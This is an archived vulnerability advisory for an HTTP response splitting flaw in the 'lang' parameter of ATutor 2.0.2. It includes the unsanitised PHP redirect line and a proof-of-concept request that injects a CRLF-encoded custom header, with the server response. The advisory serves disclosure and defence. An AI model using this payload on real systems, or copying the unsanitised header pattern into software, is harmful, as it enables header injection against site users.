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ATutor 2.0.2 HTTP Response Splitting

ATutor 2.0.2 HTTP Response Splitting
Posted Aug 6, 2011
Authored by LiquidWorm | Site zeroscience.mk

ATutor version 2.0.2 suffers from a HTTP response splitting vulnerability.

tags | exploit, web
SHA-256 | da8399ab3bad548b518a4945303c6c748c100bc0caaeae91414d81c717c8ce1e

ATutor 2.0.2 HTTP Response Splitting

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ATutor 2.0.2 (lang) HTTP Response Splitting Vulnerability


Vendor: ATutor (Inclusive Design Institute)
Product web page: http://www.atutor.ca
Affected version: 2.0.2 (build r10589)

Summary: ATutor is an Open Source Web-based Learning Content Management
System (LCMS) designed with accessibility and adaptability in mind.
Educators can quickly assemble, package, and redistribute Web-based
instructional content, easily retrieve and import prepackaged content,
and conduct their courses online.

Desc: Input passed to the 'lang' parameter in '/documentation/index_list.php'
is not properly sanitised before being returned to the user. This can be
exploited to insert arbitrary HTTP headers, which are included in a response
sent to the user.


======================== vulnerable code ========================

/documentation/index_list.php:
------------------------------

1: <?php
2: header('Location: index/index.php?'.$_GET['lang']);
3: exit;
4: ?>

======================= /vulnerable code ========================


Tested on: Microsoft Windows XP Professional SP3 (EN)
Apache 2.2.14 (Win32)
PHP 5.3.1
MySQL 5.1.41


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2011-5037
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5037.php


31.07.2011
--


[GET] http://10.0.0.13/documentation/index_list.php?lang=%0d%0a%20ZSL%2dCustom%2dHeader%3alove_injection

----

HTTP/1.1 302 Found
Date: Sun, 31 Jul 2011 21:08:54 GMT
Server: Apache/2.2.14 (Win32)
X-Powered-By: PHP/5.3.1
Location: index/index.php?
ZSL-Custom-Header: love_injection
Content-Length: 0
Connection: close
Content-Type: text/html



--
Copyleft (c) Zero Science Lab - Information Security Services
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